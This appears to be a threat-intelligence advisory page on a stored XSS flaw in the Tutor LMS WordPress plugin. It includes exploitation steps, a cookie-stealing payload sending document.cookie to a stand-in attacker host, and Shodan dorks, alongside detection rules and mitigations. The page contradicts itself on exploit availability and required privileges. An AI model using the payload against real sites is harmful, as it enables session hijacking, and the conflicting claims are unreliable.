☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themeum logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-80
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32230

CVE-2025-32230 Cross-Site Scripting in Themeum
📅 PUBLISHED: 2025-04-10 08:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Bangladesh License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32230 is a stored cross-site scripting (XSS) vulnerability in the Tutor LMS WordPress plugin by Themeum, affecting versions up to and including 3.4.0. The vulnerability arises from improper neutralization of script-related HTML tags in a web page, allowing an attacker to inject arbitrary JavaScript into the LMS interface. This can lead to session hijacking, defacement, or phishing attacks against users who view the injected content.

Given that this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations running the vulnerable plugin. The CVSS score of 4.3 (Medium) reflects the need for user interaction and the limited impact on confidentiality and integrity. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from Themeum. Since no patch is available, administrators must consider disabling the plugin or applying virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
  • User Interaction (UI): Required (R) – The victim must view the malicious content.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can be chained with social engineering to compromise user sessions.

Deep Dive & Mechanics

The vulnerability exists in the Tutor LMS plugin's handling of user-supplied content, likely in course descriptions, lesson titles, or quiz questions. The plugin fails to properly sanitize HTML tags that can execute scripts, such as <script>, <img onerror>, or <svg onload>. When an attacker submits malicious content (e.g., via a course creation form), the payload is stored in the WordPress database. When another user (e.g., a student or admin) views the affected page, the script executes in their browser.

The root cause is the use of insufficient filtering functions that allow script-related HTML tags to pass through. This is a classic stored XSS vulnerability, often found in plugins that allow rich text editing without proper output encoding.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The plugin likely uses a function like wp_kses() with an overly permissive allowed HTML list, or it directly echoes user input without sanitization.

Vulnerable Code (Hypothetical):

// In a Tutor LMS template file
echo '<div class="lesson-content">' . $lesson_content . '</div>';

Patched Code (Expected):

// Properly escape output
echo '<div class="lesson-content">' . esc_html( $lesson_content ) . '</div>';

The fix would involve using esc_html() or wp_kses_post() with a strict allowlist that excludes script-related tags.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would:

  1. Identify a WordPress site running Tutor LMS <= 3.4.0.
  2. Register an account with permissions to create or edit courses (e.g., Instructor role).
  3. In a course description or lesson content field, inject a payload such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload to steal cookies:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  4. Submit the content. The payload is stored in the database.
  5. When an admin or student views the course, the script executes.

Lab Setup:

  • Install WordPress with Tutor LMS plugin version 3.4.0.
  • Create an instructor account and a course.
  • Inject the payload into the course description.
  • Log in as a student and view the course to trigger the XSS.

Blue Team

To detect exploitation attempts:

  • Monitor for suspicious input in course creation/editing forms, especially script tags or event handlers.
  • Use a WAF to block common XSS payloads.
  • Review server logs for requests containing <script> or onerror patterns.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

  • Network: HTTP requests containing <script>, onerror, onload, or javascript: in POST data to /wp-admin/admin-ajax.php or course editing endpoints.
  • Host: Unexpected JavaScript files or obfuscated code in the WordPress uploads directory.
  • Logs: Entries in access logs showing POST requests to admin-ajax.php with action=wp_ajax_tutor_... and payloads in the request body.
  • Database: Rows in wp_posts or wp_postmeta containing script tags in post_content or meta_value.

Detection Engineering

YARA Rule

rule CVE_2025_32230_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Tutor LMS CVE-2025-32230"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32230"
    strings:
        $script = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
        $javascript = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-32230 - Stored XSS in Tutor LMS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in WordPress POST requests to Tutor LMS endpoints
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=tutor_'
        cs-body|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in course content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32230 - Stored XSS in Tutor LMS"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=tutor_"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Tutor LMS plugin until a patch is released.
  2. Virtual Patching: Use a WAF to block requests containing script tags or event handlers in POST data to Tutor LMS endpoints.
  3. User Education: Warn instructors and admins about the risks of pasting untrusted content into course fields.
  4. Monitoring: Enable logging for all POST requests to admin-ajax.php and review for suspicious patterns.
  5. Long-term: Apply the official patch from Themeum as soon as it becomes available. Consider switching to an alternative LMS plugin if no patch is released.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Tutor LMS"
http.html:"tutor-lms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32230/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.